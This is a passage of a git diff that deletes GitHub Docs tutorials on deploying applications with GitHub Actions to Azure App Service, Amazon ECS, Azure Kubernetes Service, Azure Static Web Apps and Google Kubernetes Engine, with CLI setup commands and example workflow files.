reusables.actions.action-download-artifact %} - with: - name: php-app - - - name: 'Deploy to Azure Web App' - id: deploy-to-webapp - uses: azure/webapps-deploy@85270a1854658d167ab239bce43949edb336fa7c - with: - app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %} - publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %} - package: . -``` - -## Additional resources - -The following resources may also be useful: - -* For the original workflow template, see [`azure-webapps-php.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-php.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/content/actions/use-cases-and-examples/deploying/deploying-python-to-azure-app-service.md b/content/actions/use-cases-and-examples/deploying/deploying-python-to-azure-app-service.md deleted file mode 100644 index 2b0c0db5d4ac..000000000000 --- a/content/actions/use-cases-and-examples/deploying/deploying-python-to-azure-app-service.md +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: Deploying Python to Azure App Service -intro: You can deploy your Python project to Azure App Service as part of your continuous deployment (CD) workflows. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CD - - Python - - Azure App Service -redirect_from: - - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-python-to-azure-app-service ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a Python project to [Azure App Service](https://azure.microsoft.com/services/app-service/). - -> [!NOTE] -> {% data reusables.actions.about-oidc-short-overview %} and [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure). - -## Prerequisites - -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: - -{% data reusables.actions.create-azure-app-plan %} - -1. Create a web app. - - For example, you can use the Azure CLI to create an Azure App Service web app with a Python runtime: - - ```bash copy - az webapp create \ - --name MY_WEBAPP_NAME \ - --plan MY_APP_SERVICE_PLAN \ - --resource-group MY_RESOURCE_GROUP \ - --runtime "python|3.8" - ``` - - In the command above, replace the parameters with your own values, where `MY_WEBAPP_NAME` is a new name for the web app. - -{% data reusables.actions.create-azure-publish-profile %} - -1. Add an app setting called `SCM_DO_BUILD_DURING_DEPLOYMENT` and set the value to `1`. - -1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} - -## Creating the workflow - -Once you've completed the prerequisites, you can proceed with creating the workflow. - -The following example workflow demonstrates how to build and deploy a Python project to Azure App Service when there is a push to the `main` branch. - -Ensure that you set `AZURE_WEBAPP_NAME` in the workflow `env` key to the name of the web app you created. If you use a version of Python other than `3.8`, change `PYTHON_VERSION` to the version that you use. - -{% data reusables.actions.delete-env-key %} - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Build and deploy Python app to Azure Web App - -env: - AZURE_WEBAPP_NAME: MY_WEBAPP_NAME # set this to your application's name - PYTHON_VERSION: '3.8' # set this to the Python version to use - -on: - push: - branches: - - main - -jobs: - build: - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - - name: Set up Python version - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: {% raw %}${{ env.PYTHON_VERSION }}{% endraw %} - - - name: Create and start virtual environment - run: | - python -m venv venv - source venv/bin/activate - - - name: Set up dependency caching for faster installs - uses: {% data reusables.actions.action-cache %} - with: - path: ~/.cache/pip - key: {% raw %}${{ runner.os }}-pip-${{ hashFiles('**/requirements.txt') }}{% endraw %} - restore-keys: | - {% raw %}${{ runner.os }}-pip-{% endraw %} - - - name: Install dependencies - run: pip install -r requirements.txt - - # Optional: Add a step to run tests here (PyTest, Django test suites, etc.) - - - name: Upload artifact for deployment jobs - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: python-app - path: | - . - !venv/ - deploy: - runs-on: ubuntu-latest - needs: build - environment: - name: 'production' - url: {% raw %}${{ steps.deploy-to-webapp.outputs.webapp-url }}{% endraw %} - - steps: - - name: Download artifact from build job - uses: {% data reusables.actions.action-download-artifact %} - with: - name: python-app - path: . - - - name: 'Deploy to Azure Web App' - id: deploy-to-webapp - uses: azure/webapps-deploy@85270a1854658d167ab239bce43949edb336fa7c - with: - app-name: {% raw %}${{ env.AZURE_WEBAPP_NAME }}{% endraw %} - publish-profile: {% raw %}${{ secrets.AZURE_WEBAPP_PUBLISH_PROFILE }}{% endraw %} -``` - -## Additional resources - -The following resources may also be useful: - -* For the original workflow template, see [`azure-webapps-python.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-webapps-python.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/webapps-deploy`](https://github.com/Azure/webapps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/content/actions/use-cases-and-examples/deploying/deploying-to-amazon-elastic-container-service.md b/content/actions/use-cases-and-examples/deploying/deploying-to-amazon-elastic-container-service.md deleted file mode 100644 index bf6122d3f52f..000000000000 --- a/content/actions/use-cases-and-examples/deploying/deploying-to-amazon-elastic-container-service.md +++ /dev/null @@ -1,179 +0,0 @@ ---- -title: Deploying to Amazon Elastic Container Service -intro: You can deploy to Amazon Elastic Container Service (ECS) as part of your continuous deployment (CD) workflows. -redirect_from: - - /actions/guides/deploying-to-amazon-elastic-container-service - - /actions/deployment/deploying-to-amazon-elastic-container-service - - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-amazon-elastic-container-service -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CD - - Containers - - Amazon ECS -shortTitle: Deploy to Amazon ECS ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to [Amazon Elastic Container Registry (ECR)](https://aws.amazon.com/ecr/), and deploy it to [Amazon Elastic Container Service (ECS)](https://aws.amazon.com/ecs/) when there is a push to the `main` branch. - -On every new push to `main` in your {% data variables.product.company_short %} repository, the {% data variables.product.prodname_actions %} workflow builds and pushes a new container image to Amazon ECR, and then deploys a new task definition to Amazon ECS. - -> [!NOTE] -> {% data reusables.actions.about-oidc-short-overview %} and [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services). - -## Prerequisites - -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps for Amazon ECR and ECS: - -1. Create an Amazon ECR repository to store your images. - - For example, using [the AWS CLI](https://aws.amazon.com/cli/): - - {% raw %} - - ```bash copy - aws ecr create-repository \ - --repository-name MY_ECR_REPOSITORY \ - --region MY_AWS_REGION - - ``` - - {% endraw %} - - Ensure that you use the same Amazon ECR repository name (represented here by `MY_ECR_REPOSITORY`) for the `ECR_REPOSITORY` variable in the workflow below. - - Ensure that you use the same AWS region value for the `AWS_REGION` (represented here by `MY_AWS_REGION`) variable in the workflow below. - -1. Create an Amazon ECS task definition, cluster, and service. - - For details, follow the [Getting started wizard on the Amazon ECS console](https://us-east-2.console.aws.amazon.com/ecs/home?region=us-east-2#/firstRun), or the [Getting started guide](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/getting-started-fargate.html) in the Amazon ECS documentation. - - Ensure that you note the names you set for the Amazon ECS service and cluster, and use them for the `ECS_SERVICE` and `ECS_CLUSTER` variables in the workflow below. - -1. Store your Amazon ECS task definition as a JSON file in your {% data variables.product.company_short %} repository. - - The format of the file should be the same as the output generated by: - - {% raw %} - - ```bash copy - - aws ecs register-task-definition --generate-cli-skeleton - - ``` - - {% endraw %} - - Ensure that you set the `ECS_TASK_DEFINITION` variable in the workflow below as the path to the JSON file. - - Ensure that you set the `CONTAINER_NAME` variable in the workflow below as the container name in the `containerDefinitions` section of the task definition. - -1. Create {% data variables.product.prodname_actions %} secrets named `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` to store the values for your Amazon IAM access key. - - For more information on creating secrets for {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions#creating-secrets-for-a-repository). - - See the documentation for each action used below for the recommended IAM policies for the IAM user, and methods for handling the access key credentials. - -1. Optionally, configure a deployment environment. {% data reusables.actions.about-environments %} - -## Creating the workflow - -Once you've completed the prerequisites, you can proceed with creating the workflow. - -The following example workflow demonstrates how to build a container image and push it to Amazon ECR. It then updates the task definition with the new image ID, and deploys the task definition to Amazon ECS. - -Ensure that you provide your own values for all the variables in the `env` key of the workflow. - -{% data reusables.actions.delete-env-key %} - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Deploy to Amazon ECS - -on: - push: - branches: - - main - -env: - AWS_REGION: MY_AWS_REGION # set this to your preferred AWS region, e.g. us-west-1 - ECR_REPOSITORY: MY_ECR_REPOSITORY # set this to your Amazon ECR repository name - ECS_SERVICE: MY_ECS_SERVICE # set this to your Amazon ECS service name - ECS_CLUSTER: MY_ECS_CLUSTER # set this to your Amazon ECS cluster name - ECS_TASK_DEFINITION: MY_ECS_TASK_DEFINITION # set this to the path to your Amazon ECS task definition - # file, e.g. .aws/task-definition.json - CONTAINER_NAME: MY_CONTAINER_NAME # set this to the name of the container in the - # containerDefinitions section of your task definition - -jobs: - deploy: - name: Deploy - runs-on: ubuntu-latest - environment: production - - steps: - - name: Checkout - uses: {% data reusables.actions.action-checkout %} - - {% raw %}- name: Configure AWS credentials - uses: aws-actions/configure-aws-credentials@0e613a0980cbf65ed5b322eb7a1e075d28913a83 - with: - aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }} - aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }} - aws-region: ${{ env.AWS_REGION }} - - - name: Login to Amazon ECR - id: login-ecr - uses: aws-actions/amazon-ecr-login@62f4f872db3836360b72999f4b87f1ff13310f3a - - - name: Build, tag, and push image to Amazon ECR - id: build-image - env: - ECR_REGISTRY: ${{ steps.login-ecr.outputs.registry }} - IMAGE_TAG: ${{ github.sha }} - run: | - # Build a docker container and - # push it to ECR so that it can - # be deployed to ECS. - docker build -t $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG . - docker push $ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG - echo "image=$ECR_REGISTRY/$ECR_REPOSITORY:$IMAGE_TAG" >> $GITHUB_OUTPUT - - - name: Fill in the new image ID in the Amazon ECS task definition - id: task-def - uses: aws-actions/amazon-ecs-render-task-definition@c804dfbdd57f713b6c079302a4c01db7017a36fc - with: - task-definition: ${{ env.ECS_TASK_DEFINITION }} - container-name: ${{ env.CONTAINER_NAME }} - image: ${{ steps.build-image.outputs.image }} - - - name: Deploy Amazon ECS task definition - uses: aws-actions/amazon-ecs-deploy-task-definition@df9643053eda01f169e64a0e60233aacca83799a - with: - task-definition: ${{ steps.task-def.outputs.task-definition }} - service: ${{ env.ECS_SERVICE }} - cluster: ${{ env.ECS_CLUSTER }} - wait-for-service-stability: true{% endraw %} -``` - -## Additional resources - -For the original workflow template, see [`aws.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/aws.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. - -For more information on the services used in these examples, see the following documentation: - -* [Security best practices in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html) in the Amazon AWS documentation. -* Official AWS [Configure AWS Credentials](https://github.com/aws-actions/configure-aws-credentials) action. -* Official AWS [Amazon ECR "Login"](https://github.com/aws-actions/amazon-ecr-login) action. -* Official AWS [Amazon ECS "Render Task Definition"](https://github.com/aws-actions/amazon-ecs-render-task-definition) action. -* Official AWS [Amazon ECS "Deploy Task Definition"](https://github.com/aws-actions/amazon-ecs-deploy-task-definition) action. diff --git a/content/actions/use-cases-and-examples/deploying/deploying-to-azure-kubernetes-service.md b/content/actions/use-cases-and-examples/deploying/deploying-to-azure-kubernetes-service.md deleted file mode 100644 index 88b36af68658..000000000000 --- a/content/actions/use-cases-and-examples/deploying/deploying-to-azure-kubernetes-service.md +++ /dev/null @@ -1,120 +0,0 @@ ---- -title: Deploying to Azure Kubernetes Service -intro: You can deploy your project to Azure Kubernetes Service (AKS) as part of your continuous deployment (CD) workflows. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CD - - Azure Kubernetes Service -redirect_from: - - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-kubernetes-service ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a project to [Azure Kubernetes Service](https://azure.microsoft.com/services/kubernetes-service/). - -> [!NOTE] -> {% data reusables.actions.about-oidc-short-overview %} and [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure). - -## Prerequisites - -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: - -1. Create a target AKS cluster and an Azure Container Registry (ACR). For more information, see [Quickstart: Deploy an AKS cluster by using the Azure portal - Azure Kubernetes Service](https://docs.microsoft.com/azure/aks/kubernetes-walkthrough-portal) and [Quickstart - Create registry in portal - Azure Container Registry](https://docs.microsoft.com/azure/container-registry/container-registry-get-started-portal) in the Azure documentation. - -1. Create a secret called `AZURE_CREDENTIALS` to store your Azure credentials. For more information about how to find this information and structure the secret, see [the `Azure/login` action documentation](https://github.com/Azure/login#configure-a-service-principal-with-a-secret). - -## Creating the workflow - -Once you've completed the prerequisites, you can proceed with creating the workflow. - -The following example workflow demonstrates how to build and deploy a project to Azure Kubernetes Service when code is pushed to your repository. - -Under the workflow `env` key, change the following values: -* `AZURE_CONTAINER_REGISTRY` to the name of your container registry -* `PROJECT_NAME` to the name of your project -* `RESOURCE_GROUP` to the resource group containing your AKS cluster -* `CLUSTER_NAME` to the name of your AKS cluster - -This workflow uses the `helm` render engine for the [`azure/k8s-bake` action](https://github.com/Azure/k8s-bake). If you will use the `helm` render engine, change the value of `CHART_PATH` to the path to your helm file. Change `CHART_OVERRIDE_PATH` to an array of override file paths. If you use a different render engine, update the input parameters sent to the `azure/k8s-bake` action. - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Build and deploy to Azure Kubernetes Service - -env: - AZURE_CONTAINER_REGISTRY: MY_REGISTRY_NAME # set this to the name of your container registry - PROJECT_NAME: MY_PROJECT_NAME # set this to your project's name - RESOURCE_GROUP: MY_RESOURCE_GROUP # set this to the resource group containing your AKS cluster - CLUSTER_NAME: MY_CLUSTER_NAME # set this to the name of your AKS cluster - REGISTRY_URL: MY_REGISTRY_URL # set this to the URL of your registry - # If you bake using helm: - CHART_PATH: MY_HELM_FILE # set this to the path to your helm file - CHART_OVERRIDE_PATH: MY_OVERRIDE_FILES # set this to an array of override file paths - -on: [push] - -jobs: - build: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - - name: Azure Login - uses: azure/login@14a755a4e2fd6dff25794233def4f2cf3f866955 - with: - creds: {% raw %}${{ secrets.AZURE_CREDENTIALS }}{% endraw %} - - - name: Build image on ACR - uses: azure/CLI@61bb69d64d613b52663984bf12d6bac8fd7b3cc8 - with: - azcliversion: 2.29.1 - inlineScript: | - az configure --defaults acr={% raw %}${{ env.AZURE_CONTAINER_REGISTRY }}{% endraw %} - az acr build -t -t {% raw %}${{ env.REGISTRY_URL }}{% endraw %}/{% raw %}${{ env.PROJECT_NAME }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %} - - - name: Gets K8s context - uses: azure/aks-set-context@94ccc775c1997a3fcfbfbce3c459fec87e0ab188 - with: - creds: {% raw %}${{ secrets.AZURE_CREDENTIALS }}{% endraw %} - resource-group: {% raw %}${{ env.RESOURCE_GROUP }}{% endraw %} - cluster-name: {% raw %}${{ env.CLUSTER_NAME }}{% endraw %} - id: login - - - name: Configure deployment - uses: azure/k8s-bake@61041e8c2f75c1f01186c8f05fb8b24e1fc507d8 - with: - renderEngine: 'helm' - helmChart: {% raw %}${{ env.CHART_PATH }}{% endraw %} - overrideFiles: {% raw %}${{ env.CHART_OVERRIDE_PATH }}{% endraw %} - overrides: | - replicas:2 - helm-version: 'latest' - id: bake - - - name: Deploys application - uses: Azure/k8s-deploy@dd4bbd13a5abd2fc9ca8bdcb8aee152bb718fa78 - with: - manifests: {% raw %}${{ steps.bake.outputs.manifestsBundle }}{% endraw %} - images: | - {% raw %}${{ env.AZURE_CONTAINER_REGISTRY }}{% endraw %}.azurecr.io/{% raw %}${{ env.PROJECT_NAME }}{% endraw %}:{% raw %}${{ github.sha }}{% endraw %} - imagepullsecrets: | - {% raw %}${{ env.PROJECT_NAME }}{% endraw %} -``` - -## Additional resources - -The following resources may also be useful: - -* For the original workflow template, see [`azure-kubernetes-service.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-kubernetes-service.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The actions used to in this workflow are the official Azure [`Azure/login`](https://github.com/Azure/login),[`Azure/aks-set-context`](https://github.com/Azure/aks-set-context), [`Azure/CLI`](https://github.com/Azure/CLI), [`Azure/k8s-bake`](https://github.com/Azure/k8s-bake), and [`Azure/k8s-deploy`](https://github.com/Azure/k8s-deploy)actions. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/content/actions/use-cases-and-examples/deploying/deploying-to-azure-static-web-app.md b/content/actions/use-cases-and-examples/deploying/deploying-to-azure-static-web-app.md deleted file mode 100644 index dd7534e785e5..000000000000 --- a/content/actions/use-cases-and-examples/deploying/deploying-to-azure-static-web-app.md +++ /dev/null @@ -1,109 +0,0 @@ ---- -title: Deploying to Azure Static Web App -intro: You can deploy your web app to Azure Static Web App as part of your continuous deployment (CD) workflows. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CD - - Azure Static Web Apps -redirect_from: - - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-azure/deploying-to-azure-static-web-app ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide explains how to use {% data variables.product.prodname_actions %} to build and deploy a web app to [Azure Static Web Apps](https://azure.microsoft.com/services/app-service/static/). - -> [!NOTE] -> {% data reusables.actions.about-oidc-short-overview %} and [AUTOTITLE](/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-azure). - -## Prerequisites - -Before creating your {% data variables.product.prodname_actions %} workflow, you will first need to complete the following setup steps: - -1. Create an Azure Static Web App using the 'Other' option for deployment source. For more information, see [Quickstart: Building your first static site in the Azure portal](https://docs.microsoft.com/azure/static-web-apps/get-started-portal) in the Azure documentation. - -1. Create a secret called `AZURE_STATIC_WEB_APPS_API_TOKEN` with the value of your static web app deployment token. For more information about how to find your deployment token, see [Reset deployment tokens in Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/deployment-token-management) in the Azure documentation. - -## Creating the workflow - -Once you've completed the prerequisites, you can proceed with creating the workflow. - -The following example workflow demonstrates how to build and deploy an Azure static web app when there is a push to the `main` branch or when a pull request targeting `main` is opened, synchronized, or reopened. The workflow also tears down the corresponding pre-production deployment when a pull request targeting `main` is closed. - -Under the workflow `env` key, change the following values: -* `APP_LOCATION` to the location of your client code -* `API_LOCATION` to the location of your API source code. If `API_LOCATION` is not relevant, you can delete the variable and the lines where it is used. -* `OUTPUT_LOCATION` to the location of your client code build output - -For more information about these values, see [Build configuration for Azure Static Web Apps](https://docs.microsoft.com/azure/static-web-apps/build-configuration?tabs=github-actions) in the Azure documentation. - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Deploy web app to Azure Static Web Apps - -env: - APP_LOCATION: "/" # location of your client code - API_LOCATION: "api" # location of your api source code - optional - OUTPUT_LOCATION: "build" # location of client code build output - -on: - push: - branches: - - main - pull_request: - types: [opened, synchronize, reopened, closed] - branches: - - main - -permissions: - issues: write - contents: read - pull-requests: write - -jobs: - build_and_deploy: - if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed') - runs-on: ubuntu-latest - name: Build and Deploy - steps: - - uses: {% data reusables.actions.action-checkout %} - with: - submodules: true - - name: Build And Deploy - uses: Azure/static-web-apps-deploy@1a947af9992250f3bc2e68ad0754c0b0c11566c9 - with: - azure_static_web_apps_api_token: {% raw %}${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }}{% endraw %} - repo_token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %} - action: "upload" - app_location: {% raw %}${{ env.APP_LOCATION }}{% endraw %} - api_location: {% raw %}${{ env.API_LOCATION }}{% endraw %} - output_location: {% raw %}${{ env.OUTPUT_LOCATION }}{% endraw %} - - close_pull_request: - if: github.event_name == 'pull_request' && github.event.action == 'closed' - runs-on: ubuntu-latest - name: Close Pull Request - steps: - - name: Close Pull Request - uses: Azure/static-web-apps-deploy@1a947af9992250f3bc2e68ad0754c0b0c11566c9 - with: - azure_static_web_apps_api_token: {% raw %}${{ secrets.AZURE_STATIC_WEB_APPS_API_TOKEN }}{% endraw %} - action: "close" -``` - -## Additional resources - -The following resources may also be useful: - -* For the original workflow template, see [`azure-staticwebapp.yml`](https://github.com/actions/starter-workflows/blob/main/deployments/azure-staticwebapp.yml) in the {% data variables.product.prodname_actions %} `starter-workflows` repository. -* The action used to deploy the web app is the official Azure [`Azure/static-web-apps-deploy`](https://github.com/Azure/static-web-apps-deploy) action. -* For more examples of GitHub Action workflows that deploy to Azure, see the [actions-workflow-samples](https://github.com/Azure/actions-workflow-samples) repository. diff --git a/content/actions/use-cases-and-examples/deploying/deploying-to-google-kubernetes-engine.md b/content/actions/use-cases-and-examples/deploying/deploying-to-google-kubernetes-engine.md deleted file mode 100644 index b322458c91ae..000000000000 --- a/content/actions/use-cases-and-examples/deploying/deploying-to-google-kubernetes-engine.md +++ /dev/null @@ -1,211 +0,0 @@ ---- -title: Deploying to Google Kubernetes Engine -intro: You can deploy to Google Kubernetes Engine as part of your continuous deployment (CD) workflows. -redirect_from: - - /actions/guides/deploying-to-google-kubernetes-engine - - /actions/deployment/deploying-to-google-kubernetes-engine - - /actions/deployment/deploying-to-your-cloud-provider/deploying-to-google-kubernetes-engine -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CD - - Containers - - Google Kubernetes Engine -shortTitle: Deploy to Google Kubernetes Engine ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide explains how to use {% data variables.product.prodname_actions %} to build a containerized application, push it to Google Container Registry (GCR), and deploy it to Google Kubernetes Engine (GKE) when there is a push to the `main` branch. - -GKE is a managed Kubernetes cluster service from Google Cloud that can host your containerized workloads in the cloud or in your own datacenter. For more information, see [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine). - -> [!NOTE] -> {% data reusables.actions.about-oidc-short-overview %} - -## Prerequisites - -Before you proceed with creating the workflow, you will need to complete the following steps for your Kubernetes project. This guide assumes the root of your project already has a `Dockerfile` and a Kubernetes Deployment configuration file. - -### Creating a GKE cluster - -To create the GKE cluster, you will first need to authenticate using the `gcloud` CLI. For more information on this step, see the following articles: -* [`gcloud auth login`](https://cloud.google.com/sdk/gcloud/reference/auth/login) -* [`gcloud` CLI](https://cloud.google.com/sdk/gcloud/reference) -* [`gcloud` CLI and Cloud SDK](https://cloud.google.com/sdk/gcloud#the_gcloud_cli_and_cloud_sdk) - -For example: - -```shell copy -$ gcloud container clusters create $GKE_CLUSTER \ - --project=$GKE_PROJECT \ - --zone=$GKE_ZONE -``` - -### Enabling the APIs - -Enable the Kubernetes Engine and Container Registry APIs. For example: - -```shell copy -$ gcloud services enable \ - containerregistry.googleapis.com \ - container.googleapis.com -``` - -### Configuring a service account and storing its credentials - -This procedure demonstrates how to create the service account for your GKE integration. It explains how to create the account, add roles to it, retrieve its keys, and store them as a base64-encoded {% ifversion fpt or ghec %}encrypted {% endif %}repository secret named `GKE_SA_KEY`. - -1. Create a new service account: - - ```shell copy - gcloud iam service-accounts create $SA_NAME - ``` - -1. Retrieve the email address of the service account you just created: - - ```shell copy - gcloud iam service-accounts list - ``` - -1. Add roles to the service account. - - > [!NOTE] - > Apply more restrictive roles to suit your requirements. - - ```shell copy - gcloud projects add-iam-policy-binding $GKE_PROJECT \ - --member=serviceAccount:$SA_EMAIL \ - --role=roles/container.admin - gcloud projects add-iam-policy-binding $GKE_PROJECT \ - --member=serviceAccount:$SA_EMAIL \ - --role=roles/storage.admin - gcloud projects add-iam-policy-binding $GKE_PROJECT \ - --member=serviceAccount:$SA_EMAIL \ - --role=roles/container.clusterViewer - ``` - -1. Download the JSON keyfile for the service account: - - ```shell copy - gcloud iam service-accounts keys create key.json --iam-account=$SA_EMAIL - ``` - -1. Store the service account key as a secret named `GKE_SA_KEY`: - - ```shell copy - export GKE_SA_KEY=$(cat key.json | base64) - ``` - - For more information about how to store a secret, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -### Storing your project name - -Store the name of your project as a secret named `GKE_PROJECT`. For more information about how to store a secret, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -### (Optional) Configuring kustomize - -Kustomize is an optional tool used for managing YAML specs. After creating a `kustomization` file, the workflow below can be used to dynamically set fields of the image and pipe in the result to `kubectl`. For more information, see [kustomize usage](https://github.com/kubernetes-sigs/kustomize#usage). - -### (Optional) Configure a deployment environment - -{% data reusables.actions.about-environments %} - -## Creating the workflow - -Once you've completed the prerequisites, you can proceed with creating the workflow. - -The following example workflow demonstrates how to build a container image and push it to GCR. It then uses the Kubernetes tools (such as `kubectl` and `kustomize`) to pull the image into the cluster deployment. - -Under the `env` key, change the value of `GKE_CLUSTER` to the name of your cluster, `GKE_ZONE` to your cluster zone, `DEPLOYMENT_NAME` to the name of your deployment, and `IMAGE` to the name of your image. - -{% data reusables.actions.delete-env-key %} - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -{% data reusables.actions.actions-use-sha-pinning-comment %} - -name: Build and Deploy to GKE - -on: - push: - branches: - - main - -env: - PROJECT_ID: {% raw %}${{ secrets.GKE_PROJECT }}{% endraw %} - GKE_CLUSTER: cluster-1 # Add your cluster name here. - GKE_ZONE: us-central1-c # Add your cluster zone here. - DEPLOYMENT_NAME: gke-test # Add your deployment name here. - IMAGE: static-site - -jobs: - setup-build-publish-deploy: - name: Setup, Build, Publish, and Deploy - runs-on: ubuntu-latest - environment: production - - steps: - - name: Checkout - uses: {% data reusables.actions.action-checkout %} - - # Setup gcloud CLI - - uses: google-github-actions/setup-gcloud@1bee7de035d65ec5da40a31f8589e240eba8fde5 - with: - service_account_key: {% raw %}${{ secrets.GKE_SA_KEY }}{% endraw %} - project_id: {% raw %}${{ secrets.GKE_PROJECT }}{% endraw %} - - # Configure Docker to use the gcloud command-line tool as a credential - # helper for authentication - - run: |- - gcloud --quiet auth configure-docker - - # Get the GKE credentials so we can deploy to the cluster - - uses: google-github-actions/get-gke-credentials@db150f2cc60d1716e61922b832eae71d2a45938f - with: - cluster_name: {% raw %}${{ env.GKE_CLUSTER }}{% endraw %} - location: {% raw %}${{ env.GKE_ZONE }}{% endraw %} - credentials: {% raw %}${{ secrets.GKE_SA_KEY }}{% endraw %} - - # Build the Docker image - - name: Build - run: |- - docker build \ - --tag "gcr.io/$PROJECT_ID/$IMAGE:$GITHUB_SHA" \ - --build-arg GITHUB_SHA="$GITHUB_SHA" \ - --build-arg GITHUB_REF="$GITHUB_REF" \ - . - - # Push the Docker image to Google Container Registry - - name: Publish - run: |- - docker push "gcr.io/$PROJECT_ID/$IMAGE:$GITHUB_SHA" - - # Set up kustomize - - name: Set up Kustomize - run: |- - curl -sfLo kustomize https://github.com/kubernetes-sigs/kustomize/releases/download/v3.1.0/kustomize_3.1.0_linux_amd64 - chmod u+x ./kustomize - - # Deploy the Docker image to the GKE cluster - - name: Deploy - run: |- - ./kustomize edit set image gcr.io/PROJECT_ID/IMAGE:TAG=gcr.io/$PROJECT_ID/$IMAGE:$GITHUB_SHA - ./kustomize build . | kubectl apply -f - - kubectl rollout status deployment/$DEPLOYMENT_NAME - kubectl get services -o wide -``` - -## Additional resources - -For more information on the tools used in these examples, see the following documentation: - -* For the full workflow template, see the ["Build and Deploy to GKE" workflow](https://github.com/actions/starter-workflows/blob/main/deployments/google.yml). -* The Kubernetes YAML customization engine: [Kustomize](https://kustomize.io/). -* [Deploying a containerized web application](https://cloud.google.com/kubernetes-engine/docs/tutorials/hello-app) in the Google Kubernetes Engine documentation. diff --git a/content/actions/use-cases-and-examples/deploying/deploying-with-github-actions.md b/content/actions/use-cases-and-examples/deploying/deploying-with-github-actions.md deleted file mode 100644 index fc1dbfa862db..000000000000 --- a/content/actions/use-cases-and-examples/deploying/deploying-with-github-actions.md +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Deploying with GitHub Actions -intro: Learn how to control deployments with features like environments and concurrency. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: overview -redirect_from: - - /actions/deployment/deploying-with-github-actions - - /actions/deployment/about-deployments/deploying-with-github-actions -topics: - - CD - - Deployment -shortTitle: Deploy with GitHub Actions ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -{% data 